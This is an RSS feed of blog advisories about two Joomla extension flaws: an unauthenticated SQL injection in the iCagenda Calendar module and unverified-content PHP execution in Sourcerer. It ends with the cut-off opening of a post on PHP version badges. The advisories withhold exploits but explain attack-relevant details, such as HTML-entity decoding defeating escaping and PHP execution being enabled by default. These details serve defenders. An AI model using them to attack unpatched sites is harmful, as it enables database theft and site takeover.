<?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom"><channel><title>mySites.guru Blog</title><description>Tips, tutorials, and updates about managing your WordPress and Joomla sites with mySites.guru.</description><link>https://mysites.guru/</link><language>en-gb</language><atom:link rel="hub" href="https://pubsubhubbub.appspot.com/"/><atom:link rel="self" type="application/rss+xml" href="https://mysites.guru/rss.xml"/><image><url>https://mysites.guru/favicon.svg</url><title>mySites.guru Blog</title><link>https://mysites.guru/blog/</link></image><item><title>iCagenda 4.0.12 fixes an unauthenticated SQL injection</title><link>https://mysites.guru/blog/icagenda-calendar-module-sql-injection/</link><guid isPermaLink="true">https://mysites.guru/blog/icagenda-calendar-module-sql-injection/</guid><description>CVE-2026-67365 is an unauthenticated SQL injection in the iCagenda Calendar module for Joomla, scored 9.2 Critical. Fixed in 4.0.12.</description><pubDate>Mon, 17 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;The Joomla project&apos;s CVE Numbering Authority published &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67365&quot;&gt;CVE-2026-67365&lt;/a&gt; on 14 August 2026: an unauthenticated SQL injection in the iCagenda Calendar module, part of the iCagenda events extension for Joomla. It is scored &lt;strong&gt;9.2 Critical&lt;/strong&gt; under CVSS 4.0, and the fix is &lt;strong&gt;iCagenda 4.0.12&lt;/strong&gt;.&lt;/p&gt;
&lt;p&gt;This is not our find. The CVE credits Joep van Antwerpen of Onvio. We found &lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;the previous iCagenda flaw&lt;/a&gt; in June, an unauthenticated file upload that ended up in the CISA Known Exploited Vulnerabilities catalog, so this is the second security issue in the extension in two months and the two are unrelated.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru already flags this&lt;/p&gt;
  &lt;p&gt;Every connected Joomla site running an affected build of the iCagenda Calendar module is flagged against our vulnerability rules. Search for iCagenda across all your sites and see the version each one is on. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;CVE-2026-67365&lt;/strong&gt;, published 14 August 2026 by the Joomla CNA, &lt;strong&gt;CVSS 4.0 9.2 Critical&lt;/strong&gt;, CWE-89&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Unauthenticated SQL injection&lt;/strong&gt; in the iCagenda Calendar module (&lt;code&gt;mod_icagenda_calendar&lt;/code&gt;), described in the record as reachable &lt;strong&gt;via &lt;code&gt;com_ajax&lt;/code&gt; with no session, token or account&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Affected: 4.0.0 to 4.0.11. Fixed: 4.0.12&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;The module version does not match the package version.&lt;/strong&gt; The Calendar module stayed at &lt;strong&gt;4.0.7&lt;/strong&gt; through the 4.0.8, 4.0.9, 4.0.10 and 4.0.11 releases and only moved with 4.0.12, so a site can show iCagenda 4.0.11 while the vulnerable module reports 4.0.7&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Reported by Joep van Antwerpen of Onvio&lt;/strong&gt;, not by us&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;No vendor release note.&lt;/strong&gt; The icagenda.com changelog lists nothing above 4.0.11 at the time of writing&lt;/li&gt;
&lt;li&gt;Separate from &lt;strong&gt;CVE-2026-48939&lt;/strong&gt;, the file upload fixed in 4.0.8 and 3.9.15. Patched for that one does not mean patched for this one&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What CVE-2026-67365 is&lt;/h2&gt;
&lt;p&gt;The CVE record is the whole public description, so here it is verbatim:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;CVE-2026-67365, description in full&lt;/p&gt;
  &lt;p&gt;Joomla Extension - icagenda.com - Unauthenticated SQL injection in iCagenda &amp;lt; 4.0.0-4.0.11 - Unauthenticated SQL injection in mod_icagenda_calendar (iCagenda), reachable via com_ajax with no session, token or account.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Three things in that sentence decide how quickly you act. It is &lt;strong&gt;unauthenticated&lt;/strong&gt;, so nobody needs an account. It is reached through &lt;strong&gt;&lt;code&gt;com_ajax&lt;/code&gt;&lt;/strong&gt;, Joomla&apos;s generic front-end AJAX entry point, which is available to anonymous visitors by default and which we have written about before as &lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;a recurring blind spot&lt;/a&gt;. And it is &lt;strong&gt;SQL injection&lt;/strong&gt;, so what is at risk is the contents of the database, which on a Joomla site includes the user table and its password hashes.&lt;/p&gt;
&lt;p&gt;We have not written an exploit for this and we are not publishing one. Nothing here needs it.&lt;/p&gt;
&lt;h2&gt;The version number that will mislead you&lt;/h2&gt;
&lt;p&gt;This is the part worth your attention if you manage more than a couple of sites, and it is why a sensible-looking version check gives the wrong answer.&lt;/p&gt;
&lt;p&gt;The vulnerable code is in a module, not the component, and &lt;strong&gt;the module&apos;s version did not move with the package&lt;/strong&gt;. Across the Joomla sites we manage, the iCagenda Calendar module reports only a handful of distinct versions, and the pattern is clear: it sat at &lt;strong&gt;4.0.7&lt;/strong&gt; while the package went through 4.0.8, 4.0.9, 4.0.10 and 4.0.11, then jumped straight to &lt;strong&gt;4.0.12&lt;/strong&gt; when this fix shipped.&lt;/p&gt;
&lt;p&gt;So on a site running iCagenda 4.0.11, the extension manager shows you 4.0.11 for the component and 4.0.7 for the Calendar module. Both are accurate. Neither, on its own, tells you whether this flaw is closed. The reading that does is the module at 4.0.12.&lt;/p&gt;
&lt;p&gt;Two practical consequences:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;A version comparison against the package version is wrong in both directions.&lt;/strong&gt; Written one way it misses affected sites, written another it flags patched ones. Our own rule matches the module and treats anything below 4.0.12 as affected, which is the only form that lines up with reality.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Sites without the Calendar module installed are not exposed through this route&lt;/strong&gt;, because the flaw is reached through that module. The component alone is not enough.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;One open question we are not going to answer by guessing. iCagenda also ships an older calendar module, &lt;code&gt;mod_iccalendar&lt;/code&gt;, labelled &quot;deprecated&quot;, and it is still installed on plenty of sites. The CVE names &lt;code&gt;mod_icagenda_calendar&lt;/code&gt; and only that, so we have not flagged the deprecated one as affected: doing so would mean asserting something the record does not say. If you still run &lt;code&gt;mod_iccalendar&lt;/code&gt;, the safe assumption is that a deprecated module is not getting security attention either way, and the right move is to replace it rather than wait to find out.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites are affected?&lt;/h2&gt;
&lt;p&gt;Any site with the iCagenda Calendar module below 4.0.12. The module is common but not universal on iCagenda sites: across the Joomla sites we manage, a bit under three quarters of iCagenda installs have the Calendar module, and more than four in ten of those are still on the vulnerable 4.0.7 today.&lt;/p&gt;
&lt;h2&gt;What to do&lt;/h2&gt;
&lt;p&gt;Update the iCagenda package to &lt;strong&gt;4.0.12&lt;/strong&gt; or later, then confirm the &lt;strong&gt;module&lt;/strong&gt; shows 4.0.12 rather than trusting the component version or the &quot;up to date&quot; message.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, unpublishing and uninstalling the iCagenda Calendar module removes this exposure, because the flaw is reached through that module. That obviously removes the calendar from the site too, so treat it as a stop-gap.&lt;/p&gt;
&lt;p&gt;One more thing worth doing on any site that has been sitting on an old iCagenda for a while: this extension had an actively exploited flaw two months ago, so it is worth checking the &lt;strong&gt;Hacked?&lt;/strong&gt; section on each affected site and reading through &lt;strong&gt;Users&lt;/strong&gt; in the Joomla admin for administrator accounts nobody created. Updating closes the door and tells you nothing about whether anyone already came through it.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;This flaw is CWE-89, SQL injection, reached over the network by an anonymous visitor with no privileges and no user interaction. Unlike our own assessments on vendor-silent releases, the numbers here are &lt;strong&gt;official&lt;/strong&gt;: the Joomla CNA published a CVSS 4.0 vector with the record.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;9.2&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;Official vector, published by the Joomla CNA&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;Unauthenticated SQL injection reachable through com_ajax with no session, token or account. High confidentiality impact on the vulnerable component and a high impact on the wider system, which is what carries the score to Critical.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
        &lt;span&gt;Exploitable over the internet&lt;/span&gt;
        &lt;span&gt;No user interaction&lt;/span&gt;
        &lt;span&gt;Database read&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67365&quot;&gt;CVE-2026-67365&lt;/a&gt;, published 14 August 2026 by the &lt;a href=&quot;https://www.joomla.org/announcements/general-news/5829-joomla-is-now-running-its-own-cve-numbering-authority-cna.html&quot;&gt;Joomla CNA&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;iCagenda Calendar module (&lt;code&gt;mod_icagenda_calendar&lt;/code&gt;) for Joomla, shipped with the iCagenda events extension&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;JoomliC (&lt;a href=&quot;https://www.icagenda.com/&quot;&gt;icagenda.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Unauthenticated SQL injection (CWE-89), reachable via &lt;code&gt;com_ajax&lt;/code&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;9.2 (Critical), &lt;code&gt;AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:L/VA:L/SC:H/SI:H/SA:H&lt;/code&gt; (official, from the CVE record)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;4.0.0 up to and including 4.0.11&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;4.0.12&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Joep van Antwerpen, Onvio. Not a mySites.guru find&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor advisory&lt;/td&gt;
&lt;td&gt;None. The icagenda.com changelog lists nothing above 4.0.11 at the time of writing&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67365&quot;&gt;CVE-2026-67365&lt;/a&gt; at cve.org&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/89.html&quot;&gt;CWE-89: SQL Injection&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.icagenda.com/docs/changelog&quot;&gt;iCagenda changelog&lt;/a&gt; at icagenda.com&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/icagenda-zero-day-file-upload-rce/&quot;&gt;The iCagenda file upload we found in June&lt;/a&gt;, now in the CISA KEV catalog&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints keep turning up in CMS advisories&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>icagenda</category><category>sql injection</category><category>vulnerability</category><category>joomla extensions</category><category>cve</category><enclosure url="https://mysites.guru/_astro/icagenda-calendar-module-sql-injection.CRbfycG0.png" length="0" type="image/png"/></item><item><title>Sourcerer 14.0.0 fixes PHP execution from unverified content</title><link>https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/</link><guid isPermaLink="true">https://mysites.guru/blog/sourcerer-14-unverified-content-php-execution/</guid><description>Sourcerer, the Joomla extension, ran PHP from page content it could not trace to a verified source. CVE-2026-74253 scores 10.0 critical. Update to 14.0.0.</description><pubDate>Mon, 17 Aug 2026 00:00:00 GMT</pubDate><content:encoded>&lt;p&gt;On 17 August 2026 Regular Labs released version 14.0.0 of &lt;a href=&quot;https://regularlabs.com/sourcerer&quot;&gt;Sourcerer&lt;/a&gt;, the Joomla extension that lets you place PHP, JavaScript and CSS inside your content. The changelog carries one entry tagged both &lt;code&gt;[SECURITY FIX]&lt;/code&gt; and &lt;code&gt;[BC BREAK]&lt;/code&gt;:&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Sourcerer 14.0.0 changelog, the security entry in full&lt;/p&gt;
  &lt;p&gt;[SECURITY FIX] [BC BREAK] Prevents reflected or otherwise unverified rendered Sourcerer code from executing by default while preserving verified article and Custom module code&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;It runs that code wherever you put it: articles, modules, components, the page head. To do that it inspects the finished page on every render and executes the tags it finds. The question 14.0.0 answers is one Sourcerer never used to ask about most of the page: where did this code come from?&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;mySites.guru already flags this&lt;/p&gt;
  &lt;p&gt;Every connected Joomla site running an affected Sourcerer build is flagged against our vulnerability rules. Search for Sourcerer across all your sites and see the version each one is on. Not a subscriber? &lt;a href=&quot;https://manage.mysites.guru/en/register&quot;&gt;Sign up free&lt;/a&gt; and connect your sites.&lt;/p&gt;
&lt;/div&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Sourcerer 14.0.0 is the fix.&lt;/strong&gt; The CVE record puts the affected range at 1.0.0 to 13.1.1, so every 13.x build is in range, from 13.0.0 to 13.1.1&lt;/li&gt;
&lt;li&gt;Before 14.0.0, the only content whose origin Sourcerer verified was &lt;strong&gt;article text&lt;/strong&gt;. Code that reached the page any other way simply ran&lt;/li&gt;
&lt;li&gt;From 14.0.0, a block executes only if the plugin can trace it to a trusted source: &lt;strong&gt;article content, or a Custom module whose rendered text still matches what is stored&lt;/strong&gt;&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;HTML-escaping is not a mitigation.&lt;/strong&gt; Sourcerer decodes HTML entities inside its own tags on purpose, so WYSIWYG-authored code works&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;PHP execution is enabled by default&lt;/strong&gt;, and the default forbidden-function list blocks shell functions, not file writes&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Tracked as &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74253&quot;&gt;CVE-2026-74253&lt;/a&gt;, CVSS 4.0 10.0, critical&lt;/strong&gt;, published by the Joomla CNA on 17 August 2026. The earlier &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64796&quot;&gt;CVE-2026-64796&lt;/a&gt; is a separate issue and stops at 12.2.8&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;This is a deliberate breaking change.&lt;/strong&gt; Some legitimate code will stop running until you allow it, which is the correct trade&lt;/li&gt;
&lt;li&gt;Sourcerer is installed on &lt;strong&gt;thousands&lt;/strong&gt; of the Joomla sites we manage, and roughly &lt;strong&gt;two thirds of those installs are on an affected 13.x build&lt;/strong&gt; today&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;What Sourcerer 14.0.0 changed&lt;/h2&gt;
&lt;p&gt;The fix is structural rather than a patched line. Version 14.0.0 adds a trust-marking step. Content Sourcerer can vouch for gets marked as it passes through the page, and only marked blocks may execute code. Two origins qualify. Article content does, as it did before. A Custom module does when the text being rendered still matches what is stored in the database for that module, which is how the plugin knows the code you are about to run is the code an administrator actually saved.&lt;/p&gt;
&lt;p&gt;Everything else now counts as unverified. On the Free edition those blocks are removed rather than run. On Pro, each unverified CSS, JavaScript or PHP type has to be allowed explicitly before it will execute again.&lt;/p&gt;
&lt;h2&gt;Two halves of the same Joomla extension problem&lt;/h2&gt;
&lt;p&gt;This is the second Sourcerer security release in under a month, and the two are halves of one problem.&lt;/p&gt;
&lt;p&gt;On 22 July 2026 Regular Labs shipped &lt;a href=&quot;https://mysites.guru/blog/regular-labs-joomla-extension-security-release/&quot;&gt;a coordinated hardening release across its whole catalogue&lt;/a&gt;. Sourcerer 13.0.0 was part of it, and the CVE that came out of it, CVE-2026-64796, describes the Free edition failing to &quot;require both the article creator and last modifier to be Super Users before executing article PHP&quot;. That closed the article path: from 13.0.0, PHP in an article only runs if trusted people wrote and last touched it.&lt;/p&gt;
&lt;p&gt;August&apos;s release closes the rest of the page. The article path had an author check; the module, component, head and final-rendering positions had no origin check at all. Getting the first half right is what made the second half visible.&lt;/p&gt;
&lt;p&gt;The practical consequence is that patching one does not patch the other. CVE-2026-64796 gives its affected range as 1.0.0 to 12.2.8. A site sitting on 13.1.1 is outside that range, is not flagged by it, and is still affected by what 14.0.0 fixes. The record for the August issue, CVE-2026-74253, runs from 1.0.0 to 13.1.1 and covers the whole line up to the fix.&lt;/p&gt;
&lt;h2&gt;Why escaping the input does not save you&lt;/h2&gt;
&lt;p&gt;The natural assumption is that a site is safe as long as it escapes what users type, because escaped angle brackets cannot open a PHP block. With Sourcerer that assumption falls apart, and the reason is a documented feature, not a bug.&lt;/p&gt;
&lt;p&gt;Code written in a WYSIWYG editor arrives with its angle brackets converted to HTML entities. So that code still runs, Sourcerer decodes entities inside its own tags before handling the contents. The decoding has no way to tell code an administrator typed into TinyMCE from text that arrived from somewhere else. Escaped text is not automatically inert, and &quot;we escape our output&quot; is not the control that protects a site here.&lt;/p&gt;
&lt;p&gt;Two other defaults matter when you are weighing urgency. PHP execution is on out of the box. The default list of forbidden PHP functions covers shell-execution functions, so it stops a payload shelling out, but it does not cover writing files.&lt;/p&gt;
&lt;p&gt;We are deliberately not publishing a working request or a payload. Nothing above is a recipe, and you do not need any of it to decide whether to update.&lt;/p&gt;
&lt;h2&gt;Which Joomla sites are affected?&lt;/h2&gt;
&lt;p&gt;Every site running a build below 14.0.0. The CVE record starts its range at 1.0.0, so there is no older version to fall back to, and the 13.x builds are the ones worth naming, because those sites took a security update a month ago and are still affected. Note that 13.1.1 is twelve days old at the time of writing, so recently updated sites are affected too. Being current is not the same as being safe when the fix is a major version bump.&lt;/p&gt;
&lt;p&gt;One trap when you check versions by hand: Pro builds append a &lt;code&gt;PRO&lt;/code&gt; suffix, so a Pro site reports &lt;code&gt;13.1.1PRO&lt;/code&gt; rather than &lt;code&gt;13.1.1&lt;/code&gt;. String comparisons and spreadsheet sorts handle that badly, and it is why a &quot;less than 14.0.0&quot; rule written the obvious way can misjudge a Pro build in either direction. Compare the numeric part and treat any 13.x build, Free or Pro, as affected.&lt;/p&gt;
&lt;p&gt;Sourcerer is installed on thousands of the Joomla sites we manage, and roughly two thirds of those installs are on a 13.x build today. Only a handful had moved to 14.0.0 within hours of release.&lt;/p&gt;
&lt;h2&gt;What should I do now?&lt;/h2&gt;
&lt;p&gt;Update Sourcerer to 14.0.0. Then plan for the breaking change rather than being surprised by it: legitimate code Sourcerer was picking up from a module, component, head or final-rendering position will stop running until you allow that type explicitly on Pro. If the site depends on Sourcerer for anything structural, test on a staging copy first.&lt;/p&gt;
&lt;p&gt;If you cannot update immediately, disabling the Sourcerer system plugin removes the exposure, because that is the plugin that renders Sourcerer tags. It also removes the functionality, so treat it as a stop-gap rather than a fix.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;This is not our find. The CVE record credits Łukasz Rybak as the finder; the vendor changelog credits nobody, and Regular Labs published no separate advisory beyond the entry quoted at the top of this post. We read the 13.1.1 and 14.0.0 packages side by side to work out what the entry means, and we confirmed the behavioural difference between the two versions on our own Joomla 6 test site.&lt;/p&gt;
&lt;div&gt;
  &lt;p&gt;Update: the official record arrived the same day&lt;/p&gt;
  &lt;p&gt;We first published this post with our own provisional scores, because no CVE covered the 13.x line. Hours later the Joomla CNA published &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74253&quot;&gt;CVE-2026-74253&lt;/a&gt; and scored it CVSS 4.0 10.0, critical, with an affected range of 1.0.0 to 13.1.1. We said an official vector would be authoritative over ours, so the score below is the CNA&apos;s, with our own figures and the reason they were lower kept underneath it.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;The record classifies the weakness as CWE-94, improper control of generation of code, which is the same call we made: code from an unverified origin was executed as PHP. It adds CAPEC-242, code injection. The impact once a block runs is complete: arbitrary PHP in the site&apos;s own process.&lt;/p&gt;
&lt;div&gt;
  &lt;div&gt;
    &lt;div&gt;
      &lt;span&gt;10.0&lt;/span&gt;
      &lt;span&gt;CVSS 4.0&lt;/span&gt;
    &lt;/div&gt;
    &lt;div&gt;
      &lt;p&gt;
        &lt;span&gt;Critical&lt;/span&gt;
        &lt;span&gt;The Joomla CNA&apos;s score, and the maximum possible&lt;/span&gt;
      &lt;/p&gt;
      &lt;p&gt;CVE-2026-74253 is scored AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H, which is every metric at its worst: reachable over the network, no login, no user interaction, nothing that has to be true first, and consequences that reach past the extension into the system around it. The record is titled &quot;Unauthenticated RCE through unverified reflected user input in Sourcerer &amp;lt; 14.0.0&quot;.&lt;/p&gt;
      &lt;div&gt;
        &lt;span&gt;CVE-2026-74253&lt;/span&gt;
        &lt;span&gt;Arbitrary PHP execution&lt;/span&gt;
        &lt;span&gt;Escaping is not a mitigation&lt;/span&gt;
        &lt;span&gt;PHP enabled by default&lt;/span&gt;
        &lt;span&gt;No login needed&lt;/span&gt;
      &lt;/div&gt;
    &lt;/div&gt;
  &lt;/div&gt;
&lt;/div&gt;
&lt;p&gt;Our own provisional scores were lower, and the difference is reachability. We could not reach the flaw through Joomla core alone: core&apos;s input filtering stripped our test payload out of a reflected search parameter, raw and entity-encoded alike, so we could demonstrate no anonymous route at all on a stock site. We scored what we had proved, treating a suitable delivery position as a requirement (&lt;code&gt;AT:P&lt;/code&gt;) and putting the everyday case behind a login. The CNA scored the flaw itself, with the reflected route its finder demonstrated. Its record is the one to quote, and ours is here for completeness.&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Our provisional variant&lt;/th&gt;
&lt;th&gt;Vector (&lt;code&gt;CVSS:4.0/...&lt;/code&gt;)&lt;/th&gt;
&lt;th&gt;Score&lt;/th&gt;
&lt;th&gt;Severity&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Low-privileged account, raw-rendered position outside the article path&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;7.7&lt;/td&gt;
&lt;td&gt;High&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Anonymous, where another extension renders raw request input&lt;/td&gt;
&lt;td&gt;&lt;code&gt;AV:N/AC:L/AT:P/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/td&gt;
&lt;td&gt;9.2&lt;/td&gt;
&lt;td&gt;Critical&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Field&lt;/th&gt;
&lt;th&gt;Detail&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Component&lt;/td&gt;
&lt;td&gt;Sourcerer for Joomla (&lt;code&gt;plg_system_sourcerer&lt;/code&gt; and &lt;code&gt;plg_editors-xtd_sourcerer&lt;/code&gt;), Free and Pro&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor&lt;/td&gt;
&lt;td&gt;Regular Labs (&lt;a href=&quot;https://regularlabs.com/&quot;&gt;regularlabs.com&lt;/a&gt;)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Type&lt;/td&gt;
&lt;td&gt;Execution of code from an unverified origin&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVE&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74253&quot;&gt;CVE-2026-74253&lt;/a&gt;, published 17 August 2026 by the Joomla CNA. &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64796&quot;&gt;CVE-2026-64796&lt;/a&gt; covers the earlier, separate issue in 1.0.0 to 12.2.8&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CVSS 4.0&lt;/td&gt;
&lt;td&gt;10.0 (critical), &lt;code&gt;AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H&lt;/code&gt;. Our own provisional figures, published before the record existed, were 7.7 and 9.2&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;CWE&lt;/td&gt;
&lt;td&gt;CWE-94 (improper control of generation of code), CAPEC-242 (code injection)&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Affected versions&lt;/td&gt;
&lt;td&gt;1.0.0 up to and including 13.1.1 per the CVE record, Free and Pro. Every 13.x build is in range&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Fixed in&lt;/td&gt;
&lt;td&gt;14.0.0, released 17 August 2026&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Finder&lt;/td&gt;
&lt;td&gt;Łukasz Rybak, credited in the CVE record. Not a mySites.guru find, and the vendor changelog credits nobody&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Vendor advisory&lt;/td&gt;
&lt;td&gt;None beyond the changelog entry&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://regularlabs.com/sourcerer/download&quot;&gt;Sourcerer downloads and changelog&lt;/a&gt; at Regular Labs&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-74253&quot;&gt;CVE-2026-74253&lt;/a&gt;, the official record for this issue (CVSS 4.0 10.0, CWE-94)&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-64796&quot;&gt;CVE-2026-64796&lt;/a&gt;, the earlier Sourcerer issue fixed in 13.0.0&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/94.html&quot;&gt;CWE-94: Improper Control of Generation of Code&lt;/a&gt; at MITRE&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.first.org/cvss/v4.0/specification-document&quot;&gt;CVSS 4.0 specification&lt;/a&gt; at FIRST&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/joomla-extension-security-disclosure-standard/&quot;&gt;Joomla&apos;s guidance for developers handling a security report&lt;/a&gt;&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>regular labs</category><category>sourcerer</category><category>code execution</category><category>vulnerability</category><category>joomla extensions</category><enclosure url="https://mysites.guru/_astro/sourcerer-14-unverified-content-php-execution.CaQSoU7D.png" length="0" type="image/png"/></item><item><title>Why PHP 8.5.7 Shows Amber When PHP 8.4.24 Shows Green</title><link>https://mysites.guru/blog/php-supported-versions-amber-green/</link><guid isPermaLink="true">https://mysites.guru/blog/php-supported-versions-amber-green/</guid><description>PHP 8.5.7 shows amber while 8.4.24 shows green because the badge checks whether you are on the newest patch in your branch, not which branch you picked.</description><pubDate>Sun, 16 Aug 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;A customer emailed us this week with a fair question. One of their sites was running PHP 8.5.7 and the mySites.guru dashboard showed an amber badge. Another was running PHP 8.4.24 and showed green. The bigger number was getting the worse colour, which looks like a reporting error.&lt;/p&gt;
&lt;p&gt;The badge is right, and the reason deserves more than the one-line reply we sent back, because the same confusion sits underneath a lot of expensive hosting decisions.&lt;/p&gt;
&lt;div&gt;
